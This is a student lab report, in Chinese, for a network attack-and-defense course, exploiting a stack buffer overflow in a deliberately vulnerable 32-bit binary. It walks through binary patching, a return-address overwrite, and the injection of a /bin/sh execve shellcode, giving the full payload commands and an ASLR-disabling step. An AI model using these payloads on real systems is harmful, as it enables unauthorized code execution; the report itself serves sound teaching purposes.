20242323 2026-2027-1 《网络与系统攻防技术》实验一实验报告
20242323 2026-2027-1 《网络与系统攻防技术》实验一实验报告
1.基础知识
1.1 栈帧结构:buf、ebp、返回地址的位置关系
32 位 Linux 下函数调用时,栈从高地址向低地址生长。理解 BOF 的关键是搞清楚三个东西在栈上的相对位置:局部变量 buf、保存的 ebp、返回地址。
以 foo 函数为例,objdump 反汇编后能看到这样的序言:
08048491: 55 push %ebp
08048492: 89 e5 mov %esp,%ebp
08048494: 83 ec 38 sub $0x38,%esp
08048497: 8d 45 e4 lea -0x1c(%ebp),%eax
逐条解释:
push %ebp:把调用者(main)的ebp压栈保存,这个位置叫 saved EBP;mov %esp,%ebp:把当前esp赋给ebp,建立foo自己的栈帧基准;sub $0x38,%esp:给局部变量预留0x38字节空间;lea -0x1c(%ebp),%eax:把ebp - 0x1c这个地址算出来,这就是buf的起始地址。
foo 运行时的栈帧从高到低是:
高地址
+----------------+ ebp + 8
| 参数 |
+----------------+ ebp + 4
| 返回地址 | 4 字节 [ebp+4, ebp+7]
+----------------+ ebp
| saved EBP | 4 字节 [ebp, ebp+3]
+----------------+ ebp - 1
| buf[28] | 28 字节 [ebp-0x1c, ebp-1]
+----------------+ ebp - 0x1c
| 其他局部变量 | 28 字节 [ebp-0x38, ebp-0x1d]
+----------------+ ebp - 0x38
低地址
关键数字:buf 从 ebp - 0x1c 开始,向高地址方向占 28 字节,写到 ebp - 1。buf 到 ebp 的距离是 0x1c = 28 字节,buf 到返回地址的距离是 28 + 4 = 32 字节。
为什么是 0x1c 而不是 0x38?因为 sub $0x38,%esp 分配了整个局部变量区,但 buf 只是其中一部分,它被放在离 ebp 最近的位置,也就是 ebp - 0x1c。剩下的 0x1c 字节是其他局部变量或对齐填充。
1.2 gets 的溢出过程
gets 从标准输入读字符,读到换行或 EOF 停止,不检查目标缓冲区大小。foo 里:
0804849d: e8 8e fe ff ff call 08048330 gets@plt
调用前 eax 已经被设成 buf 的地址,gets 从 buf 开始往高地址写。如果输入超过 28 字节:
输入字节 1~28 → 填满 buf(ebp-0x1c 到 ebp-1)
输入字节 29~32 → 覆盖 saved EBP(ebp 到 ebp+3)
输入字节 33~36 → 覆盖返回地址(ebp+4 到 ebp+7)
输入字节 37+ → 继续覆盖 main 的栈
foo 结束时执行:
080484ad: c9 leave ; 等价于 mov %ebp,%esp; pop %ebp
080484ae: c3 ret ; 弹出返回地址到 eip
leave 把 esp 恢复到 ebp,pop %ebp 弹出 saved EBP(被覆盖的 4 字节),ret 再把栈顶 4 字节弹到 eip——这 4 字节就是被覆盖的返回地址。
验证方法:输入 1111111122222222333333334444444455555555,gdb 里 eip = 0x35353535(ASCII '5'),说明第 33~36 字符确实盖到了返回地址。
1.3 call 相对偏移与补码
call 用相对寻址,机器码 E8 加 4 字节有符号偏移。CPU 执行 E8 时 eip 已经指向下一条指令,所以:
偏移 = 目标地址 - (call 指令地址 + 5)
以 pwn1 为例:
call 指令地址 = 0x080484b5
下一条 = 0x080484b5 + 5 = 0x080484ba
原目标 foo = 0x08048491
原偏移 = 0x08048491 - 0x080484ba = -0x29 = 0xffffffd7
反汇编显示 e8 d7 ff ff ff,小端序读出 0xffffffd7,正好是 -0x29。
想跳到 getShell(0x0804847d):
新偏移 = 0x0804847d - 0x080484ba = -0x3d = 0xffffffc3
小端序 c3 ff ff ff,机器码变成 e8 c3 ff ff ff。
补码换算:-0x3d 的原码是 0x3d,按位取反得 0xffffffc2,加 1 得 0xffffffc3。理解补码是改机器码的前提。
1.4 shellcode 注入的两个关键问题
问题一:shellcode 放在返回地址前面会被自己的 push 覆盖。
最初 payload 是 NOP + shellcode + 返回地址,ret 后跳到 buf 起始,从低地址向高地址执行。shellcode 里的 push 会向低地址写数据,esp 此时指向返回地址附近,push 一次 esp 减 4,正好写到 shellcode 尾部还没执行的地方。
解决办法是把 shellcode 放到返回地址后面:
低地址
+----------------+
| 'A' × 32 | ← 填充到返回地址
+----------------+
| 返回地址 → NOP |
+----------------+
| NOP × 8 |
+----------------+
| shellcode |
+----------------+
高地址
ret 后跳到 NOP 区,push 写向低地址(返回地址和填充区),不再碰 shellcode 自己。
问题二:shellcode 里不能有 \x0a。
gets 读到 \x0a(换行)就停止,后面的内容读不进去。本次用的 shellcode 没有 \x0a,能完整注入。
1.5 栈对齐:为什么跳 getShell+6
getShell 开头:
0804847d <getShell>:
0804847d: 55 push %ebp
0804847e: 89 e5 mov %esp,%ebp
08048480: 83 ec 18 sub $0x18,%esp
08048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)
0804848a: e8 c1 fe ff ff call 08048350 system@plt
现代 libc 的 system 内部用了 SSE 指令(如 movaps),要求调用时 esp 16 字节对齐。跳 getShell 开头会执行 push、mov、sub,改变 esp 导致不对齐;跳 getShell+6(0x08048483)跳过序言,esp 正好对齐,system 正常执行。
跳过序言也没问题,是因为 getShell 函数体不依赖 %ebp 访问局部变量,movl $0x8048560,(%esp) 直接用 %esp 寻址。
1.6 gdb 启动与 gdb attach 的区别
gdb 启动(gdb ./pwn1 然后 run):gdb 会往被调试程序的环境里注入 LINES、COLUMNS、TERM 等变量,压在栈顶,栈地址被压低。gdb 里读到的 buf 地址在外部无效。
gdb attach(gdb -p PID):程序已经以外部环境启动,gdb 只是挂上去看内存,不改变环境,读到的地址就是外部真实地址。
要外部成功,必须用 attach。
1.7 ASLR 对栈地址稳定性的影响
ASLR 让操作系统每次加载程序时把栈、堆、共享库放到随机地址。开着 ASLR 时,写死返回地址的 payload 命中概率极低。
关闭方式:
echo "0" > /proc/sys/kernel/randomize_va_space
关闭后,只要运行环境不变,栈地址稳定。
2.实验内容
实验对象 pwn1 是一个 32 位 Linux ELF 可执行文件。正常跑起来是 main 调 foo,foo 用 gets 读取输入并回显。里面还藏了一个 getShell 函数,能弹 shell,正常流程走不到。
三个任务:
- 手工改可执行文件,把 main 里调用 foo 的 call 改成调用 getShell;
- 利用 foo 的栈溢出漏洞,覆盖返回地址,跳转 getShell;
- 往栈上注入自己写的 shellcode,覆盖返回地址跳过去执行。
3.实验过程
3.1 任务一:手工改机器指令跳转 getShell
先备份并反汇编:
cp pwn1 pwn1_20242323
objdump -d pwn1_20242323 | grep -E "getShell|main|call.*foo"
关键几行:
0804847d <getShell>:
0804847d: 55 push %ebp
...
080484af <main>:
080484af: 55 push %ebp
080484b0: 89 e5 mov %esp,%ebp
080484b2: 83 e4 f0 and $0xfffffff0,%esp
080484b5: e8 d7 ff ff ff call 08048491 <foo>
080484ba: b8 00 00 00 00 mov $0x0,%eax
getShell 在 0x0804847d,call 指令在 0x080484b5(属于 main),原偏移 d7 ff ff ff 指向 foo(0x08048491)。
算新偏移:
下一条指令地址 = 0x080484b5 + 5 = 0x080484ba
偏移 = 0x0804847d - 0x080484ba = -0x3d = 0xffffffc3
小端序 c3 ff ff ff。用 xxd 导出十六进制,nano 编辑:
xxd pwn1_20242323 > pwn1_20242323.hex
nano pwn1_20242323.hex
找到 e8d7 ffff ff 改成 e8c3 ffff ff,保存退出。还原成二进制:
xxd -r pwn1_20242323.hex > pwn1_modify_20242323
chmod +x pwn1_modify_20242323
验证:
objdump -d pwn1_modify_20242323 | grep -A2 '<main>'
输出中 call 变为 call 0804847d
任务一截图



3.2 任务二:BOF 覆盖返回地址
先看 foo 的栈布局:
objdump -d pwn1_20242323 | grep -A20 '<foo>'
关键行:
08048494: 83 ec 38 sub $0x38,%esp
08048497: 8d 45 e4 lea -0x1c(%ebp),%eax
0804849d: e8 8e fe ff ff call 08048330 <gets@plt>
buf = ebp - 0x1c,偏移是 0x1c + 4 = 32。
构造 payload:
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*32 + b"\x83\x84\x04\x08" + b"\n")' > payload_bof_20242323
返回地址填 0x08048483(getShell+6),小端序 83 84 04 08。跑一下:
(cat payload_bof_20242323; cat) | ./pwn1_20242323
成功进 shell,id 输出 uid=1000(kali)...。
任务二截图


3.3 任务三:注入并运行 shellcode
先确认栈可执行:
readelf -l pwn1_20242323 | grep GNU_STACK
输出里有 RWE,满足注入条件。关掉 ASLR:
echo "0" | sudo tee /proc/sys/kernel/randomize_va_space
构造初始 payload,返回地址先填 BBBB 占位:
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*32 + b"BBBB" + b"\x90"*8 + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")' > input_shellcode_20242323
payload 末尾不加换行,这样 gets 会一直阻塞,进程可以 attach。
一个终端挂起程序:
(cat input_shellcode_20242323; cat) | ./pwn1_20242323
程序阻塞在 gets,还没回显,光标停在新行等待输入。另一个终端找进程号并 attach:
ps -ef | grep pwn1
sudo gdb -p PID
gdb 里在 ret 处下断点,继续执行:
break *0x080484ae
continue
回终端 1 按回车。gets 读到换行返回,程序回显 payload 乱码,继续执行到 ret 处被断点拦下。
gdb 里看栈:
x/16x $esp
输出:
0xffffcf3c: 0x42424242 0x90909090 0x90909090 0x6850c031
0xffffcf3c 是返回地址位置,0xffffcf40 是 NOP 起始。重新生成 payload:
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*32 + b"\x40\xcf\xff\xff" + b"\x90"*8 + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")' > input_shellcode_20242323
外部跑:
(cat input_shellcode_20242323; cat) | ./pwn1_20242323
运行后程序停在 gets 等待输入,需要再按一次回车,让 gets 读到换行返回,程序回显 payload 并执行到 ret,随后跳转执行 shellcode,弹出 shell。
whoami 输出 kali,id 输出 uid=1000(kali)...。
shellcode 逐条说明:
| 机器码 | 汇编 | 作用 |
|---|---|---|
| 31 c0 | xor %eax,%eax | EAX 清零 |
| 50 | push %eax | 字符串结尾 \0 |
| 68 2f 2f 73 68 | push $0x68732f2f | 压入 "//sh" |
| 68 2f 62 69 6e | push $0x6e69622f | 压入 "/bin" |
| 89 e3 | mov %esp,%ebx | EBX 指向 "/bin//sh" |
| 50 | push %eax | argv 结尾 NULL |
| 53 | push %ebx | argv[0] |
| 89 e1 | mov %esp,%ecx | ECX 指向 argv |
| 99 | cltd | EDX = 0 |
| b0 0b | mov $0xb,%al | EAX = 11 |
| cd 80 | int $0x80 | 触发系统调用 |
任务三截图




3.4 BOF 攻击防御技术
Stack Canary:编译器在函数栈帧里插一个随机值,返回前检查是否被改。溢出攻击覆盖返回地址前必然先改到它,一改就被检测到。本实验文件是 -fno-stack-protector 编译的,没有这个。
DEP / NX:CPU 页表的 NX 位能把栈标记为不可执行。本实验文件 GNU_STACK 是 RWE,栈可执行,shellcode 能跑。
ASLR:操作系统每次加载程序时把代码段、栈段放到不同地址,增加猜测难度。本实验用 echo "0" 关掉了。
4.问题及解决方案
问题1:任务二一开始用 getShell 的开头地址 0x0804847d 覆盖返回地址,跑一次崩一次。
问题1解决方案:查资料和对照实验指导书后,知道是栈对齐问题。getShell 开头的 push %ebp; mov %esp,%ebp; sub $0x18,%esp 把 esp 调到了不对齐的位置,而 system 内部用了 SSE 指令要求 16 字节对齐。改成跳 getShell+6(0x08048483),跳过序言直接执行参数设置和 call system,esp 正好对齐,就成功了。
问题2:任务三用 gdb ./pwn1 启动程序找到的 buf 地址生成 payload,外部运行一直段错误。
问题2解决方案:这个卡了我最久。gdb 里明明能看到 buf 在 0xffffcefc,payload 在 gdb 里跑也能执行 shellcode(显示 process is executing new program: /usr/bin/dash),但外部就是段错误。我一度以为是虚拟机的问题。
后来对照实验指导书第 4.5 节,发现应该用 gdb -p PID attach 外部已经在跑的进程,而不是用 gdb 启动程序。按指导书的方法做:先在外部把程序挂起在 gets,再 sudo gdb -p PID 附加,x/16x $esp 读到返回地址在 0xffffcf3c,NOP 起始在 0xffffcf40,用这个地址重新生成 payload,外部跑一次就通了。
根本原因:gdb 启动程序时会往环境里塞 LINES、COLUMNS、TERM 等变量,压在栈顶把栈地址压低了。attach 不改变进程环境,读到的才是外部真实地址。
问题3:attach 的时候 ps -ef | grep pwn1 死活找不到进程,明明命令刚运行过。
问题3解决方案:一开始生成 payload 时习惯性在末尾加了 \n,结果 gets 读到换行立即返回,程序执行到 ret 跳到占位地址 0x42424242 段错误,进程直接退出了,ps 里当然找不到。去掉末尾换行后,gets 读满数据继续等第二个 cat 的输入,程序挂在 gets 里才能被 attach。这个坑让我卡了好一阵,一开始还以为是 ps 命令用错了,反复查了好几遍进程名。
5.学习感悟、思考等
这次实验做下来挺折腾,尤其是任务三,卡的时间比前两个加起来还长。
一开始我觉得任务三不就是把 shellcode 放进去跳过去,应该很快搞定。结果从 gdb 里找地址、生成 payload 到外部运行,每一步都有坑。最让我困惑的是,gdb 里明明显示 process is executing new program: /usr/bin/dash,说明 shellcode 真执行了,但外部跑就是段错误。我一度怀疑是虚拟机的问题、是 Kali 版本的问题,甚至一度想放弃。
后来对照实验指导书第 4.5 节,发现应该用 gdb -p PID attach 外部进程,而不是用 gdb 启动程序。这个区别我一开始完全没意识到。gdb 启动程序时会往环境里塞一堆变量,栈布局变了;attach 到已经在跑的进程时,进程保持外部真实环境,读到的地址才有效。这个细节教材上一般就一句话带过,真动手才知道有多关键。
另外几个坑也很典型。payload 末尾多一个换行,gets 就提前返回,程序跑飞,进程直接没了,ps 里都找不到;shellcode 放在返回地址前面,会被自己的 push 覆盖。这些都不是原理层面的问题,是踩过才知道的经验。
参考资料
- 《汇编语言(第 3 版)》
- Linux man 手册:gets(3)
- Linux man 手册:execve(2)
- GDB 官方文档
- 课程实验指导书《0x11 逆向与 Bof 基础》,2026 年。
浙公网安备 33010602011771号